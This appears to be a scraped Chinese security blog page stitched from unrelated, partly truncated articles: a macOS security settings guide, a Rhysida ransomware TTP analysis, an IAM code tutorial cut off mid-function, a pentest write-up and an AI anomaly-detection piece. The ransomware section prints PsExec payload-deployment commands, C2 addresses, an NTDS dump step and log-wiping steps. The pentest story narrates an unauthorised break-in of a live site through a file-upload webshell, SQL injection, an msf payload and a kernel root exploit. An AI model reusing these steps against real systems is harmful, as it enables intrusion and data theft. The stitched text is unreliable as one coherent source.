最近傳播的惡意軟件是基於Chromium的瀏覽器的側載擴展,它在瀏覽器中執行操作,以操作目標加密貨幣網站的內容。這種惡意擴展的主要目的是從受害者那裡竊取加密貨幣,並將其轉移到攻擊者的錢包中。

此外,由於它是一個瀏覽器擴展,因此可以安裝在各種平台上基於Chromium的瀏覽器中。儘管本文中描述的惡意擴展的安裝和攻擊鍊是特定於Windows的,但如果攻擊者想要針對Linux和macOS用戶,只要受害者使用基於Chromium的瀏覽器,他們就可以很容易發起攻擊。

4. 管理防火牆中的外部連接macOS 具有內置防火牆,可以保護應用程序免受未經授權的互聯網訪問。它有助於阻止任何傳入連接並允許訪問您想要的應用程序。

要配置防火牆,請訪問“安全和隱私”首選項窗格中的“防火牆”選項卡:

image.png

圖21. 訪問防火牆配置

然後,單擊“防火牆選項”以配置防火牆。您可以阻止所有傳入連接,以禁止任何人或任何事物連接到macOS。這是最安全的防火牆配置,但某些應用程序在啟用後可能無法提供在線功能。

image.png

圖22. 使用防火牆阻止所有連接

您還可以選擇允許特定應用程序的傳入連接。如果您正在測試客戶端-服務器應用程序並且發現客戶端-服務器連接有任何問題,請檢查防火牆配置並嘗試將您的應用程序添加到允許列表中。

image.png

圖23. 允許通過防火牆進行特定的互聯網連接

5. 指定應用程序的隱私訪問權限某些應用程序需要訪問高級macOS 功能才能正常工作。但惡意應用程序也可能請求訪問這些功能以竊取用戶的個人數據。默認情況下,macOS 會阻止對位置服務、聯繫人、照片、麥克風、設備磁盤、屏幕錄製、藍牙和其他功能的訪問,以保護用戶免受安全威脅。

如果用戶安裝的應用程序請求訪問被阻止的功能,則用戶必須在“安全和隱私”首選項窗格的“隱私”選項卡中提供訪問權限。

image.png

圖24. 為應用程序提供對位置服務的訪問權限

當開發需要訪問敏感功能和資源的應用程序時,請確保在安裝程序中包含訪問請求。該請求可能如下所示:Please grant

6. 配置鑰匙串訪問Keychain Access 是用於密碼管理的默認macOS 應用程序,可存儲用戶的憑據,從而減少用戶必須記住的密碼數量。您可以在應用程序列表的實用程序文件夾中找到鑰匙串訪問。打開它以查找並配置任何存儲的憑據。

image.png

圖25. 訪問Keychain Access 中存儲的憑據

為了保護憑據,此應用程序使用傳輸層安全(TLS)協議和公鑰證書。讓我們來看看它們是如何工作的。

TLS 是一種加密協議,旨在保護計算機網絡中的通信。它廣泛用於使用HTTPS 的應用程序,例如電子郵件、即時消息和IP 語音。

公鑰證書包含有關公鑰、其所有者以及已驗證證書內容的實體的數字簽名的信息。如果簽名有效並且檢查證書的軟件信任頒發者,則它可以使用該密鑰與證書主體進行安全通信。

在電子郵件加密、代碼簽名和電子簽名系統中,證書的主體通常是個人或組織。在TLS 中,證書的主體通常是計算機或其他設備,儘管TLS 證書除了識別設備的核心角色之外還可以識別組織或個人。

如果您嘗試訪問任何受保護的資源,則其證書需要受到macOS 的信任。默認情況下,macOS 有一個受信任的證書列表。如果您想訪問沒有受信任證書的資源,您將看到以下消息:

image.png

圖26. 嘗試訪問沒有受信任證書的資源

只有具有相應憑據的管理員才能將資源添加到鑰匙串訪問。單擊“顯示詳細信息”,然後單擊“訪問網站”以將證書添加到“鑰匙串訪問”。

image.png

圖27. 將資源添加到鑰匙串訪問

之後,您可以打開證書詳細信息並更改證書的設置。

image.png

圖28. 配置證書設置

在開發和測試客戶端-服務器macOS 應用程序時,您需要了解如何使用鑰匙串訪問並管理其中的安全證書。如果您的應用程序在安裝過程中創建了證書,請確保執行以下操作:

當您的應用程序請求管理員訪問權限時,為您的應用程序提供所有權限,然後檢查“鑰匙串訪問”內的證書。

不提供證書安裝的管理員權限,或者不使連接受信任。檢查應用程序安裝過程和應用程序行為。您的應用程序應顯示有關證書問題的通知。此外,它還應該將有關這些問題的信息添加到應用程序日誌中。但是,它不應該崩潰。

當您將應用程序的證書設為不可信或完全刪除該證書時,請檢查應用程序的行為。

通過將macOS 中的日期更改為任何未來日期,使應用程序證書過期。檢查應用程序在這種情況下的行為方式。

請記住,鑰匙串訪問功能在不同的macOS 版本中會發生變化。例如,在macOS 10.15 及更早版本中,您可以通過以超級用戶身份執行以下腳本來使證書受信任:

image.png

在更高版本的macOS 中,您無法執行此操作。此外,在macOS 11 和12 中,即使用戶運行終端命令以使證書受信任,也需要手動批准應用程序證書。這樣做是出於安全原因:未經用戶許可,腳本無法使任何證書受信任。在這些版本的macOS 中,請使用終端命令檢查UI 和靜默安裝選項,因為您可能會在macOS 11 及更高版本上遇到靜默安裝問題。

7. 啟用遠程登錄遠程訪問macOS 允許開發人員重現並修復用戶遇到的問題。操作系統默認提供了訪問遠程系統的功能,因此您無需安裝第三方軟件。

默認情況下,所有遠程訪問功能均處於禁用狀態,但您可以在共享首選項中配置它們。啟用遠程登錄將向您顯示一條消息:

image.png

圖29. 啟用對系統的遠程訪問

使用此命令和您的密碼可以訪問其他用戶的系統。

您還可以在屏幕共享中啟用虛擬網絡計算(VNC) 訪問,這將允許您共享屏幕。當您啟用此功能時,您將看到類似的消息:

image.png

圖30. 通過VNC 服務啟用遠程訪問

請注意,要啟動屏幕共享,您需要打開計算機設置並設置用於訪問系統的密碼。

您可以在遠程管理服務中啟用Apple 遠程桌面。它使您能夠遠程執行任何腳本並使用所有終端功能。您可以從任何操作系統通過Apple Remote Desktop 連接到另一台設備。 Apple 遠程桌面是在互聯網連接速度較慢時建立遠程連接的最佳方式,因為它不加載macOS GUI。

VNC 服務為您提供與macOS GUI 的遠程連接。作為開發人員或QA 工程師,您可以使用VNC 在另一台具有不同macOS 版本的Mac 設備上測試您的應用程序。您還可以連接到最終用戶的macOS 設備並調試應用程序的任何問題。

image.png

圖31. 啟用Apple 遠程桌面

8. 獲取超級用戶訪問權限Root 是超級用戶,可以無限制地訪問所有系統功能和文件。當管理員帳戶無法提供所需的權限級別時,此用戶會很有幫助。例如,管理員無法更改系統文件,但超級用戶可以。您可以通過終端和GUI 獲取root 訪問權限。讓我們看一下終端選項。

當您運行命令並看到“權限被拒絕”消息時,請運行相同的命令,並在其前面加上sudo 一詞。您需要輸入root 密碼,然後命令將被執行而不會出現訪問問題。

要成為終端內的超級用戶而無需在每個命令前輸入sudo,請使用sudo su 命令。您還需要輸入root 密碼。執行此命令後,您將在此終端會話中獲得超級用戶訪問權限。

要通過GUI 獲得超級用戶訪問權限,您需要成為管理員。默認情況下無法以超級用戶身份登錄macOS,但有一個解決方法。在“用戶和組”首選項窗格中打開“登錄選項”,然後單擊“加入”。

image.png

圖32. 更改macOS 中的登錄選項

在打開的表單中,選擇“打開目錄實用程序”,然後單擊左下角的鎖定圖標並輸入管理員憑據。

image.png

圖33. 登錄目錄實用程序

在“目錄實用程序”中,打開“編輯”菜單,選擇“啟用Root 用戶”,然後為root 用戶設置密碼。

image.png

圖34. 通過macOS GUI 啟用root 用戶

現在您可以以root 用戶身份登錄和退出macOS。在登錄屏幕上,選擇“其他”,輸入“root”作為用戶名,然後輸入您為root 帳戶創建的密碼。

image.png

圖35. 登錄root 帳戶

如果您的應用程序具有需要root 訪問權限才能工作的功能,請檢查在用戶沒有root 訪問權限時這些功能的執行情況。理想情況下,在這種情況下,應用程序應顯示有關權限問題的消息,將此信息添加到其日誌中,並繼續工作而不會崩潰。

結論macOS 具有一組強大的內置安全功能,macOS 開發人員需要了解這些功能並正確配置以保護其係統和應用程序。此外,Apple 經常重新設計和改進這些安全功能,因此在新的macOS 版本中,您需要確保您的軟件能夠在最新版本中正常運行。

微信截图_20230810151646.png

Rhysida勒索軟件組織於今年5月首次被披露,自那時起,它就與幾起影響巨大的攻擊事件有關,其中包括對智利軍隊的攻擊。最近,該組織還與針對Prospect Medical Holdings的攻擊有關,影響了美國的17家醫院和166家診所。在這次攻擊之後,美國衛生與公眾服務部將Rhysida定義為對醫療保健行業的重大威脅。

在分析最近一起針對教育機構的Rhysida勒索軟件事件時,Check Point事件響應小組(CPRT)與Check Point Research(CPR)合作,觀察到了一套獨特的技術、戰術和工具(TTP)。在分析中,研究人員發現了它與另一個勒索軟件組織Vice Society的TTP有顯著相似之處。 Vice Society是自2021年以來最活躍、最具攻擊性的勒索軟件組織之一,主要針對教育和醫療保健行業。

例如,在2022 年期間,該組織襲擊了33 個教育機構,超過LockBit、BlackCat、BianLian 和Hive 等其它勒索軟件組織。自2021 年5 月開始活躍以來,Vice Society 與其它勒索軟件組織主要區別在於其不使用自己的勒索軟件變體,而是依賴於地下論壇上出售的HelloKitty 和Zeppelin 等預先存在的勒索程序二進製文件。微軟曾以DEV-0832 的名義追踪過該組織活動軌跡,發現在某些情況下,Vice Society 盡量避免部署勒索軟件直接勒索,而是利用竊取的數據進行勒索。

鑑於Vice Society與Rhysida之間存在聯繫,有必要找到這種聯繫的技術證據。分析顯示,這兩個組織在技術上層面存在相似性,以及Rhysida的出現和Vice Society的消失之間存在明顯關聯。此外,這兩個組織共同關注的目標都是教育和醫療保健行業。

據觀察,Vice Society部署了各種商用勒索軟件有效負載,所以Rhysida並不等同於Vice Society,但至少表明Vice Society運營商現在正在使用Rhysida勒索軟件。

戰術、技術和程序由於之前對Rhysida勒索軟件有效負載進行了徹底的分析,我們將重點關注導致其部署的TTP,特別是橫向移動、憑證訪問、防禦規避、指揮和控制以及影響。

根據我們掌握的證據,使用Rhysida勒索軟件的攻擊者的贖金時間(TTR)相對較低。從最初出現橫向移動的跡像到勒索軟件的廣泛部署,只有8天時間。

橫向活動攻擊者使用多種工具進行橫向活動,包括:

1.遠程桌面協議(Remote Desktop Protocol )——在整個攻擊過程中,攻擊者啟動了RDP連接,並採取額外步驟故意刪除相關的日誌和註冊表項,以避免被檢測到,加強研究人員的分析工作。 RDP仍然是在環境中進行橫向移動的有效方法。

2.遠程PowerShell會話(WinRM)——當通過RDP遠程連接時,可以發現攻擊者正在啟動與環境中服務器的遠程PowerShell連接。這種情況發生在部署勒索軟件負載之前的幾天。

3.PsExec——勒索軟件有效負載本身是使用PsExec從環境中的服務器部署的。部署分兩個階段進行。

3.1 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN' -p 'Password' -s cmd /c COPY '\\path_to_ransomware\payload.exe' 'C:\windows\temp'複製惡意負載;

3.2 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN'' -p 'Password' -s cmd /c c:\windows\temp\payload.exe執行惡意負載。

憑據訪問最值得注意的是,攻擊者使用ntdsutil.exe來創建NTDS的備份。將其放入名為temp_l0gs的文件夾中。此路徑被攻擊者多次使用。除此之外,攻擊者還列舉了域管理員帳戶,並試圖使用其中一些帳戶登錄。

指揮與控制攻擊者利用了幾個後門和工具來實現持久性攻擊,包括:

1.SystemBC:在一個成功的PowerShell會話中,攻擊者執行一個SystemBC PowerShell植入,它通過安裝一個名為socks的註冊表運行項來在啟動時執行腳本以維護持久性。植入程序的域為5.255.103[.]7。此外,攻擊者設置了名為Windows Update的防火牆規則,以允許向另一台服務器5.226.141[.]196發送流量。

2.AnyDesk:通過遠程管理工具AnyDesk觀察到該攻擊者。

逃避檢測在整個活動過程中,攻擊者始終在其活動之後刪除日誌和取證工件。這包括:

1.刪除最近使用的文件和文件夾的歷史記錄;

2.刪除最近執行的程序列表;

3.刪除文件資源管理器中最近輸入的路徑的歷史記錄;

4.刪除PowerShell控制台歷史文件;

5.刪除當前用戶臨時文件夾中的所有文件和文件夾;

6.在RDP會話之後,攻擊者還通過以下方式刪除了RDP特定的日誌:

7.在Windows註冊表中的“HKCU:\Software\Microsoft\Terminal Server Client”下搜索所有子項,並刪除每個子項的“UsernameHint”值(如果存在);

8.刪除用戶Documents文件夾中的Default.rdp;

影響在勒索軟件部署當天,攻擊者會利用AnyDesk提供的訪問權限,使用PsExec在環境中廣泛部署的勒索軟件有效負載:

1.刪除帳戶訪問權限(Account Access Removal)——攻擊者啟動了對域中數万個帳戶的密碼更改,以加強修復工作;

2.禁止系統恢復(Inhibit System Recovery):在部署勒索軟件負載之前,攻擊者試圖部署具有多種功能的PowerShell腳本,包括:

2.1 將所有本地密碼更改為預定義密碼;

2.2阻止與數據庫系統、備份軟件、安全產品相關的業務;

2.3禁用Windows Defender並阻止其運行;

2.4使用wmic.exe和vssadmin.exe刪除卷影副本;

2.5將默認RDP端口更改為4000並為其創建防火牆規則;

2.6刪除所有Windows事件日誌和PowerShell歷史記錄。

3.數據加密:如上所述,攻擊者最終使用PsExec部署了Rhysida勒索軟件有效負載。

與Vice Society的關係在研究人員對Rhysida勒索軟件TTP和基礎設施的分析中,發現了與另一個臭名昭著的勒索軟件組織Vice Society的幾個相似之處,並且觀察到隨著時間的推移勒索軟件有效負載的變化。有人提出Vice Society和Rhysida之間可能存在聯繫。接下來,我們將提供支持這一說法的其他證據。

技術、工具和基礎設施上面描述的許多技術與之前由微軟和Intrinsec描述的Vice Society攻擊高度相關。其中一些可能對勒索軟件運營商來說很通用,但卻以非常具體的方式被利用,包括不常見的特定路徑:

1.使用NTDSUtil創建一個NTDS.dit備份到一個名為temp_l0gs的文件夾。據觀察,Vice Society也使用了同樣的路徑。

2.使用名為Windows Update的New-NetFirewallRule創建本地防火牆規則,以便於使用惡意軟件SystemBC進行流量中繼。 SystemBC是通過存儲在值socks下的註冊表Run項執行的。

3.在部署勒索軟件有效負載之前,啟動整個域的密碼更改過程;

4.對與Rhysida事件相關的基礎設施的分析發現了一組PortStarter樣本,其中一些之前被認為是Vice Society的。儘管PortStarter經常被描述為一種獨立的惡意軟件,但它的使用幾乎完全與Vice Society聯繫在一起。

受害者研究除了技術上的相似性之外,Rhysida的出現與Vice Society活動的顯著下降也存在相關性。根據Rhysida和Vice Society洩漏網站的信息,研究人員構建了一個時間線。

自從Rhysida第一次出現以來,Vice Society隻公布了兩名受害者。這些很可能是在早些時候進行的,直到6月份才被公開。自2023年6月21日起Vice Society的攻擊者就停止在他們的洩漏網站上發布信息。

微信截图_20230810152210.png

Rhysida和Vice Society受害者隨時間的分佈

此外,研究人員還注意到,受這兩個組織影響的目標行業有相似之處,這兩個組織以教育和醫療保健行業為目標而聞名。在整個勒索軟件生態系統中,教育行業的受害者比例很高,這對這兩個組織來說都是獨一無二的:

2.png

Rhysida受害者在每個行業分佈情況

3.png

Vice Society受害者分佈情況

總結研究人員對Rhysida勒索軟件攻擊的分析揭示了該組織與臭名昭著的Vice Society之間的明確聯繫,但它也揭示了一個殘酷的事實,大量勒索軟件攻擊者的TTP基本保持不變。目前觀察到的大部分活動均已被任何勒索軟件組織用於部署任何勒索軟件有效負載。

上述分析表明,安全人員不僅要了解勒索軟件有效負載的操作,還要了解導致其部署的整個過程的重要性。

保護敏感數據是所有企業的關鍵安全任務之一。為了確保這種保護,企業需要仔細控制誰可以訪問什麼,因此實施身份和訪問管理(IAM)機制至關重要。

然而,由於IAM 選項多種多樣,決定使用哪種服務、如何配置它以及是否需要自定義解決方案來實現安全目的可能會很困難。

在本文中,我們探討了開發身份和訪問管理服務的幾種方法之間的差異。我們展示瞭如何構建自定義本地系統和基於雲的系統的詳細示例,並將這些系統與IAM 系統的關鍵標准進行比較。

本指南對於想要探索構建IAM 系統的選項並了解技術細節和細微差別的開發領導者將很有幫助。

什麼是IAM 服務以及如何構建一項服務?根據Gartner 的說法,身份和訪問管理使正確的個人能夠在正確的時間以正確的理由訪問正確的資源。不同類型和規模的企業都努力實施IAM 實踐,通過控制用戶對關鍵信息的訪問來保護敏感信息並防止數據洩露。

為了實施這些實踐,企業使用專門的系統來提供必要的功能,例如雙因素或多因素身份驗證、用戶身份管理、用戶授權功能、權限控制等。

高效的IAM 服務應遵循零信任原則,這意味著它必須提供以下內容:

基於身份的安全性,確保系統知道登錄用戶並確認用戶的身份

基於角色的訪問權限,確保每個帳戶擁有盡可能少的權限:例如,僅具有日常工作所需的訪問權限

保護用戶的其他安全措施,例如多重身份驗證(MFA)、登錄嘗試計數、針對暴力和機器人攻擊的策略、審核日誌和備份可能性

您可以在本地部署IAM 系統、訂閱第三方供應商提供的基於雲的模型或使用混合模型。

出於本文的目的,我們決定比較構建IAM 解決方案的幾種方法:

基於作為開放集成中心(OIH) 分支的自託管服務器開發本地IAM 解決方案。

使用Auth0 配置由雲提供商管理的IAM 解決方案。

使用AWS Cognito 配置由雲提供商管理的IAM 解決方案。

但在我們開始比較開發身份和訪問管理服務的方法之前,讓我們先討論一下我們的解決方案的功能並探索其流程。

IAM 系統的關鍵功能定義未來解決方案的需求至關重要,這樣我們就可以在不同的實現準備就緒後對其進行公平的比較。

我們的目標是提供一個覆蓋1000 到5000 個用戶的IAM 系統,這是中小型企業中的實際用戶數量。

此類解決方案必須涵蓋的常見任務包括:

提供對最終用戶來說簡單的用戶註冊流程

基於密碼的身份驗證,確認用戶的真實身份

基於令牌的授權,確保用戶被授予其應有的確切級別和類型的訪問權限

創建獨特的角色和權限以及將它們分配給實體或從實體中刪除它們的能力

防止任何竊取用戶身份的企圖

訪問審查和事件響應

IAM 解決方案可能包含的其他功能包括:

安全身份驗證,例如支持MFA

通過社交網絡、Google 和Microsoft 等第三方身份提供商進行身份驗證

多租戶支持提供管理多個企業的能力

現成的UI 表單可減少從頭開始創建自定義UI 表單的時間和成本

在本文中,我們探討了創建IAM 解決方案的三種不同方法,確保必備列表中的功能,並在我們使用的平台允許的情況下嘗試實現上面列出的其他功能。

典型的IAM管理流程下圖從用戶、管理員和租戶的角度直觀地展示了基本理論IAM 管理流程:

image.png

以下是用戶與IAM 解決方案交互的方式:

用戶要么已經擁有訪問令牌,要么訪問令牌被重定向到IAM 服務進行身份驗證。

為了進行身份驗證,用戶指定其用戶名和密碼,或者選擇其他身份驗證選項,例如通過社交網絡進行身份驗證或使用授權代碼流方法。

當用戶通過身份驗證後,系統向資源服務器發出請求。

資源服務器包含一個庫,用於驗證用戶是否有權訪問資源服務器內的業務邏輯部分或向IAM 服務發出請求,後者根據其數據庫檢查用戶權限。

管理員具有以下權限:

分配給他們的一組預定義角色

使他們能夠創建新租戶空間的系統權限

租戶具有以下條件:

一組預定義的角色,允許他們僅執行與租戶相關的操作

在租戶空間內管理用戶和角色/權限的機會

定義了需求和一般程序流程後,讓我們開始實際實施。我們首先開發基於開放集成中心的自定義IAM 服務。

1. 使用開放集成中心開發定制的IAM 解決方案開放集成中心(OIH) 是一個框架,可幫助開發人員確保業務應用程序之間輕鬆進行數據交換。它由多種服務組成,包括身份和訪問管理服務。

如果您需要完全控制解決方案,使用OIH 開發IAM 服務是一個不錯的選擇。但是,這個框架不提供任何精美的UI 進行自定義,您必須手動完成所有工作。

在本例中,我們將使用本地IAM 服務器並花時間:

必要時分叉、審核和修改源代碼

修復問題並維護部署管道、備份/恢復過程等。

OIH 提供的IAM 服務的主要特點是:

支持最少的任務集,包括企業和用戶管理、身份驗證、授權和基於角色的訪問控制(RBAC)

包含最小的依賴集,依賴很少的外部服務

使用JSON Web Tokens(JWT)、OAuth 2.0和OpenId Connect等基本且眾所周知的技術

要開始開發自定義解決方案,您需要執行以下步驟:

分叉現有IAM 解決方案的源代碼

必要時修改邏輯

創建Mongo 數據庫

配置RabbitMQ代理

準備託管環境

現在,我們來討論如何使用OIH 實現我們的解決方案的基本流程。

1.1.驗證對於身份驗證,我們將描述一種不涉及外部社交聯繫的方法。要通過身份驗證,用戶應添加到至少一個企業(綁定到租戶)。否則,身份驗證流程將會失敗。

身份驗證過程分為三個主要階段:

第1 階段:用戶提供登錄名和密碼,並從api/v1/session端點檢索會話令牌。在此階段,我們不需要任何有關用戶會員資格的信息。唯一的目標是驗證該用戶並獲取可以與JWT 交換的會話令牌。

image.png

以下代碼片段演示瞭如何獲取api.js 文件中的令牌:

router.post('/session',authMiddleware.authenticate,authMiddleware.accountIsEnabled,async(req,res,next)={

if(!req.user){

//req.userwillbesetafterauthMiddleware.authenticate

returnnext({status:401,message:CONSTANTS.ERROR_CODES.NOT_LOGGED_IN});

}

constt=awaitTokenUtils.create(req.user);//idtokenwillbecreatedinalocaldatabase

req.headers.authorization='Bearer${t.token}';

res.status(200).send({token:t.token,id:t._id});

});出於可讀性目的,會話端點被分解為多個預處理程序。我們的系統將在創建ID 令牌之前調用每個預處理程序。

此時,我們最感興趣的是中間件函數,也稱為預處理程序或鉤子函數-authMiddleware.authenticate它通過與Passport 庫集成來工作,而Passport 庫又使用Mongo 數據庫進行會話存儲:

authenticate:(req,res,next)={

passport.authenticate('local',async(err,user,errorMsg)={

if(err){

returnnext(err);

}

if(errorMsg){

if(errorMsg.name==='IncorrectPasswordError'){

/*todo:increaselogintimeoutfortheuser*/

awaitAccount.updateOne({

username:req.body.username,

},{

$inc:{

'safeguard.failedLoginAttempts':1,

},

},{

timestamps:false,

});

returnnext({status:401,message:CONSTANTS.ERROR_CODES.PASSWORD_INCORRECT});

}

if(errorMsg.name==='IncorrectUsernameError'){

returnnext({status:401,message:CONSTANTS.ERROR_CODES.USER_NOT_FOUND});

}

}

if(!user){

returnnext({status:401,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

req.logIn(user,async(err)={

if(err){

log.error('Failedtologinuser',err);

returnnext({status:500,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

if(req.body['remember-me']){

req.session.cookie.maxAge=30*24*60*60*1000;//30days

}else{

req.session.cookie.expires=false;//expiresatendofsession

}

awaitAccount.updateOne({

username:req.body.username,

},{

$set:{

'safeguard.lastLogin':newDate(),

'safeguard.failedLoginAttempts':0,

},

},{

timestamps:false,

});

req.session.save((err)={

if(err){

log.error('Errorsavingsession',err);

returnnext(err);

}

returnnext();

});

});

})(req,res,next);

},Passport 庫依賴於基於身份驗證的策略,您可以使用以下代碼初始化該策略:

constpassport=require('passport');

constMongoStore=require('connect-mongo')(session);

constLocalStrategy=require('passport-local').Strategyconst

session=require('express-session');

/*

.

*/

constmongoSession=session({

secret:process.env.IAM_SESSION_COOKIE_SECRET,

name:process.env.IAM_SESSION_COOKIE_NAME,

store:newMongoStore({

mongooseConnection:this.mongoose.connection,

touchAfter:4*3600,

autoRemove:'native',

autoRemoveInterval:60*4,

ttl:3*24*60*60,

}),

saveUninitialized:false,

resave:false,

});

this.app.use(mongoSession);

this.app.use(passport.initialize());

this.app.use(passport.session());

//authenticationStrategyreadsauserfromthedatabaseandchecksapassword

passport.use(newLocalStrategy(authenticationStrategy()));

/*

.

*/當身份驗證中間件被觸發時,Passport 庫會調用我們的身份驗證策略。

如果一切順利,身份驗證策略將返回用戶數據,並且會話將保存在存儲中。登錄嘗試次數將重置為0。

如果出現錯誤,我們需要首先檢查密碼是否錯誤,並增加嘗試登錄失敗的次數。這是我們可以實施強力安全的地方。我們需要跟踪失敗的登錄嘗試,並提出一種策略來阻止登錄嘗試一段時間。

第2 階段:檢索到ID 令牌後,我們可以使用它來獲取用戶所屬的企業列表:

image.png

以下是檢索企業列表的代碼:

router.get('/organizations',authMiddleware.validateSession,async(req,res,next)={

try{

constaccount=awaitAccountDAO.findOne({_id:req.user.userid});

res.status(200).send({

account,

organizations:req.user.organizations,//organizationsisapartofuserrepresentationanddefinesusermembershipinorganizations

});

}catch(err){

logger.error(err);

returnnext({status:500,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

});以下是validateSession 中間件如何檢查第一步中檢索到的ID 令牌:

validateAuthentication:async(req,res,next)={

letpayload=null;

letclient=null;

lettoken=null;

/**Userhasavalidcookie*/

if(req.user){

req.user=req.user.toJSON();

req.user.userid=req.user._id.toString();

returnnext();

}

//hereweneedidtokenretrievedfrom/session

if(!req.headers.authorization){

returnnext({status:401});

}

try{

constheader=req.headers.authorization.split('');

if(!header||header.length2){

log.debug('Authorizationheaderisincorrect');

returnnext({status:401,message:CONSTANTS.ERROR_CODES.INVALID_HEADER});

}

token=header[1];

payload=awaitTokenUtils.getAccountData(token);

}catch(err){

log.warn('Failedtoparsetoken',err);

returnnext({status:401,message:CONSTANTS.ERROR_CODES.SESSION_EXPIRED});

}

if(payload){

req.user=req.user||{};

returnnext();

}else{

log.error('Tokenpayloadisemptyorinvalid',{payload});

returnnext({status:401,message:CONSTANTS.ERROR_CODES.VALIDATION_ERROR});

}

}第3 階段:最後,用戶可以選擇一個企業並請求JWT 來訪問它:

image.png

以下是獲取某個企業的JWT 的代碼:

router.post('/token',authMiddleware.validateAuthentication,

async(req,res,next)={

const{organization}=req.body;

if(!organization){

returnnext({status:400,message:'Missingorganization'});

}

try{

if(awaitAccountDAO.userHasOrganization({userId:req.user.userid,tenantId:organization})){

constjwtpayload=jwtUtils.getJwtPayload(awaitAccountDAO.findOne({_id:req.user.userid}));

consttoken=awaitjwtUtils.basic.sign(jwtpayload);

req.headers.authorization='Bearer${token}';

res.status(200).send({token:token});

}

0X00       歪打正着

无意间碰到一套垃圾菠菜网站杀猪盘

图片

图片

挨个访问能扫描出来的目录与文件发现并没有太大作用,不过发现了后台地址。phpmyadmin访问500。

图片

图片

访问xd.php到后台访问发现还需要授权验证码

图片

试了下8888,123456之类的都提示错误,当场关闭。

图片


尝试子域名爆破也只有一个。Nmap扫描也没有什么发现。返回首页发现url有点不常见。

图片

0X01    寻找同类型网站以及源码

这种搞诈骗的很少会开发肯定源码是从网上下载找人搭建的,不常见就是特征,于是搜索了下。

图片图片


0X02    开始审计

这么多网站那源码肯定烂大街了,于是花了点时间找到了源码,尝试审计。

图片

下载回来源码用seay扫描下,源码又太大我也懒得去本地搭建,直接用源码对着目标进行怼。

图片


从中发现了个fileupload.php文件好像有点问题。

图片

访问目标发现也存在该文件。把该文件提取出来到本地搭建的环境中做测试。

图片

直接访问会自动创建出upload和upload_tmp两个文件夹,这玩意是个demo这个点其实看起来更像个后门。

图片

图片

并且filename变量完全是可控的。

图片

继续往下看发现一些判断,可以表单上传名就为file。

文件上传

其他的就不用管了,直接改个上传表单。只要加上参数name和file就行了。


图片

name参数控制上传文件名为aaa.php

图片


选择1.jpg上传

图片

上传后没有返回路径但是在upload下已经存在aaa.php文件。

SQL注入

图片

变量中where的值又是来自request中,并且上面的checkinput中也没有检测type的值。

图片

跟入betListCnt

图片图片没有任何处理就直接带入查询了,类似点还有许多。

0X03    验证审计到的漏洞

图片

通过之前的上传拿到webshell,尝试提权。

图片

发现是debian的。发现有6379端口但是不是root用户启动的redis

图片

图片

看了下内核版本感觉应该可以,尝试寻找提权exp。

图片

生成msf马

图片

为了方便我就用msf上线了这台机器。然后寻找对应的提权exp。

0X04    尝试提权

找到这两个CVE-2019-13272、CVE-2017-16995当我在github上找利用工具的时候,我想起msf其实也自带提权的。于是尝试搜索了下

图片

搜到了就利用

图片

图片

结果当场失败

图片

尝试第二个CVE-2017-16995

图片

图片

图片成功返回一个root权限的会话,提权完毕


转载于原文链接: https://mp.weixin.qq.com/s/Yh0qq5imlfHhNQnbtPfxcA

如何應用人工智能來檢測社交媒體上的異常情況人工智能和機器學習算法是異常檢測系統的核心,因為它們負責分析社交媒體上的異常帖子。根據您的目標,您可以讓人工智能處理各種類型的內容、評估帳戶的可信度、分析特定類型的異常情況等。

我們來看看AI 對不同類型內容進行異常檢測的能力:

image.png

文本分析。除了TikTok 和YouTube 等以視頻為中心的平台外,流行社交媒體渠道上的大多數帖子都是基於文本的。使用人工智能分析它們可以為您提供比簡單的關鍵字搜索更多的信息。人工智能可以確定作者的情緒、解釋隱喻、破譯網絡俚語和編碼信息。它甚至可以理解幽默並檢測虛假陳述。這些人工智能功能可幫助異常檢測軟件標記異常並進行徹底分析。

圖像分析。基於人工智能的圖像分析有助於識別圖像內容:文本、對象和整體上下文。從圖像中讀取文本可以處理帶有文本疊加的帖子,這在Facebook 等平台上很流行。圖像處理算法從圖像中挑選出文本後,文本分析算法可以像處理普通文本記錄一樣處理它。

當涉及到圖片、屏幕截圖和其他圖像時,您可以使用各種圖像處理算法來識別對象、分割和分類圖像、搜索模式等。您還可以使用AI修復圖像失真,以改善分析結果。

視頻分析。仔細分析後,社交媒體上發布的視頻可能是安全相關信息的重要來源。人工智能算法可以檢測物體、動作、人,甚至識別情緒,並對不同的視頻進行分類。他們可以幫助偵查暴力、尋找失踪人員,並在大型活動中提供安全概覽。

請注意,與構建用於分析文本和圖像的解決方案相比,構建用於視頻分析的AI 解決方案是一項更具挑戰性但可以實現的任務。它需要收集不同的數據庫,進行廣泛的算法訓練,並使用大量的硬件能力來處理視頻。

現在讓我們看一下對於社交網絡異常檢測有用的人工智能算法的任務。請記住,解決方案的SaaS 部分可以執行所有非智能任務,例如網絡爬行和存儲數據。

image.png

上下文感知文本翻譯。對於國際組織來說,發現世界各地社交媒體上的異常帖子非常重要。此任務需要異常檢測軟件中的翻譯模塊。使用非人工智能翻譯器會降低軟件的效率,因為此類翻譯器不擅長處理上下文、隱喻和引用、語法錯誤和拼寫錯誤。

相反,您可以添加DeepLPython 庫中的API、OpenAI 中的ChatGPT 、Google Cloud 中的Translation AI或任何其他翻譯服務。選擇一項時,請考慮您的軟件使用的技術、開發團隊的專業知識、人工智能服務的功能以及翻譯成本。

威脅概率估計。並非社交媒體上所有不尋常的帖子都必須被標記為可疑。例如,網上的激烈爭論可能不會產生任何結果,或者會導致現實世界的騷擾。人工智能可以估計威脅真實存在的概率。為此,算法可以評估作者是人類還是機器人,分析作者之前的帖子,並確定可疑帖子的情緒。

威脅評估的結果將幫助審查社交媒體異常的專家做出決策,並對異常情況做出更快的反應,從而證明響應的合理性。對於此任務,您可以使用現成的AI 模型進行時間序列分析和自然語言處理。您還可以利用spaCY、NLTK、scikit-learn和Gensim等Python 庫。

風險分類和評分。除了評估威脅之外,人工智能和機器學習算法還可以評估已發現異常的重要性或嚴重性,並為其分配風險評分。風險評分可幫助使用異常檢測系統的專家儘早、快速地解釋結果並做出響應。

